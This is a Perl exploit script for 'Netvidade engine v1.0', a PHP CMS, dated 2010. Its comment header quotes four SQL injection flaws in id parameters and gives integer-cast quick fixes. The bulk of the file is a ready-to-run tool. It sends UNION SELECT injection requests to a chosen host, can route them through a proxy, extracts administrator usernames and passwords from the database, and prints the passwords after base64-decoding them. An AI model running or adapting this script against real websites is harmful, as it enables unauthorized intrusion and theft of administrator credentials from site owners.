#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use Getopt::Long;
use MIME::Base64;
# \#'#/
# (-.-)
# ----------------------oOO---(_)---OOo----------------------
# | __ __ |
# | _____/ /_____ ______/ /_ __ ______ ______ |
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |
# | Security Research Division /____/ 2o1o |
# -----------------------------------------------------------
# | Netvidade engine v1.0 Multiple Vulnerabilities |
# -----------------------------------------------------------
# [!] Discovered by.: pwndomina
# [!] Vendor........: http://www.netvidade.com
# [!] Detected......: 15.04.2010
# [!] Reported......: 06.05.2010
# [!] Response......: xx.xx.2010
#
# [!] Bug...........: $_GET['id'] in webtemplate-categoria.php near line 6
#
# 3: if ($_GET['id']==0)
# 4: $lista_webtemp=$netvidade->lista_webtemp();
# 5: else
# 6: $lista_webtemp=$netvidade->lista_webtemp_categoria($_GET['id']);
#
# The function lista_webtemp_categoria() is in class/var/netvidade.class.php near line 212
#
# 212: function lista_webtemp_categoria($id)
# 213: {
# 214: $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=$id";
# 215: $a=$this->CORE->db();
# 216: $res=$a->abrecursor($query);
# 217: return $res;
# 218: }
#
# [!] Bug...........: $_GET['id'] in concorrer.php near line 2
#
# 2: $lista_proposta=$recrutamento->lista_proposta($_GET['id']);
#
# The function lista_proposta() is in class/var/recrutamento.class.php near line 42
#
# 42: function lista_proposta($id)
# 43: {
# 44: $query="select * from recrutamento_propostas where id=$id";
# 45: $a=$this->CORE->db();
# 46: $res=$a->abrecursor($query);
# 47: return $res;
# 48: }
#
# [!] Bug...........: $_GET[id] in detalhe.php near line 6
#
# 6: $noticias=$a->lista_noticia_detalhe($_GET[id]);
#
# The function lista_noticia_detalhe() is in class/var/noticias.class.php near line 208
#
# 208: function lista_noticia_detalhe($id)
# 209: {
# 210: $query="
# 211: select a.*,b.id as categoria_id, b.titulo as categoria_nome, c.nome as autor_nome
# 212: from noticias a, noticias_categorias b, administradores c
# 213: where a.categoria=b.id and a.id=$id and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)
# 214: ";
# 215:
# 216: $a=$this->CORE->db();
# 217: $res=$a->abrecursor($query);
# 218: return $res;
# 219: }
#
# [!] Bug...........: $_GET[id] in newsletter_preview.php near line 6
#
# 6: $dados=$a->lista_newsletter($_GET[id]);
#
# The function lista_newsletter() is in class/var/newsletter.class.php near line 113
#
# 113: function lista_newsletter($id)
# 114: {
# 115: $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=$id";
# 116: $a=$this->CORE->db();
# 117: $res=$a->abrecursor($query);
# 118: return $res;
# 119: }
#
# [!] Quick fix.....: in class/var/netvidade.class.php line 214
#
# - replace:
# $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=$id";
#
# - with:
# $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=".(int)$id;
#
# [!] Quick fix.....: in class/var/recrutamento.class.php line 44
#
# - replace:
# $query="select * from recrutamento_propostas where id=$id";
#
# - with:
# $query="select * from recrutamento_propostas where id=".(int)$id;
#
# [!] Quick fix.....: in class/var/noticias.class.php line 213
#
# - replace:
# where a.categoria=b.id and a.id=$id and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)
#
# - with:
# where a.categoria=b.id and a.id=".(int)$id." and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)
#
# [!] Quick fix.....: in class/var/newsletter.class.php line 115
#
# - replace:
# $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=$id";
#
# - with:
# $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=".(int)$id;
#
# [!] Greetings.....: cih.ms and phact.in
#
if(!$ARGV[3])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n ---------------------oOO---(_)---OOo----------------------";
print "\n | Netvidade engine v1.0 Multiple Vulnerabilities Exploit |";
print "\n | discovered by pwndomina |";
print "\n | coded by DNX |";
print "\n ----------------------------------------------------------";
print "\n[!] Usage: perl netvidade.pl [Host] [Path] [Target] <Options>";
print "\n[!] Example: perl netvidade.pl www.host.com /path/ -t 3 -u 1";
print "\n[!] Targets:";
print "\n -t 1 webtemplate-categoria.php";
print "\n -t 2 concorrer.php";
print "\n -t 3 detalhe.php";
print "\n -t 4 newsletter_preview.php";
print "\n[!] Options:";
print "\n -u [no] User-Id";
print "\n -p [ip:port] Proxy support";
print "\n[!] Notes:";
print "\n For the targets 2, 3 & 4 you can use -u option.";
print "\n";
exit;
}
my %options = ();
GetOptions(\%options, "t=i", "u=i", "p=s");
my $ua = LWP::UserAgent->new();
my $host = $ARGV[0];
my $path = $ARGV[1];
my $target = "http://".$host.$path;
my $userid = "";
if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); }
if($options{"u"}) { $userid = "+where+id=".$options{"u"}; }
print "[!] Exploiting...\n\n";
if($options{"t"} == 1) { exploit1(); }
elsif($options{"t"} == 2) { exploit2(); }
elsif($options{"t"} == 3) { exploit3(); }
elsif($options{"t"} == 4) { exploit4(); }
print "\n[!] Exploit done\n";
sub exploit1
{
my $url = "http://".$host.$path."webtemplate-categoria.php?id=-1337+union+select+1,2,concat(0x23,0x23,username,0x23,password,0x23,0x23),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+administradores";
my $res = $ua->get($url);
check($res);
}
sub exploit2
{
my $url = "http://".$host.$path."concorrer.php?id=-1337+union+select+1,concat(0x23,0x23,username,0x23,password,0x23,0x23),3,4,5,6,7,8,9,10+from+administradores".$userid;
my $res = $ua->get($url);
check($res);
}
sub exploit3
{
my $url = "http://".$host.$path."detalhe.php?id=-1337+union+select+1,2,3,concat(0x23,0x23,username,0x23,password,0x23,0x23),5,6,7,8,9,10,11,12,13,14+from+administradores".$userid."/*";
my $res = $ua->get($url);
check($res);
}
sub exploit4
{
my $url = "http://".$host.$path."newsletter_preview.php?id=-1337+union+select+1,concat(0x23,0x23,username,0x23,password,0x23,0x23),3,4,5,6+from+administradores".$userid;
my $res = $ua->get($url);
check($res);
}
sub check
{
my $res = shift;
my $content = $res->content;
my @c = split(/\n/, $content);
foreach (@c)
{
if($_ =~ /##(.*?)#(.*?)##/)
{
print $1.":".decode_base64($2)."\n";
}
}
}
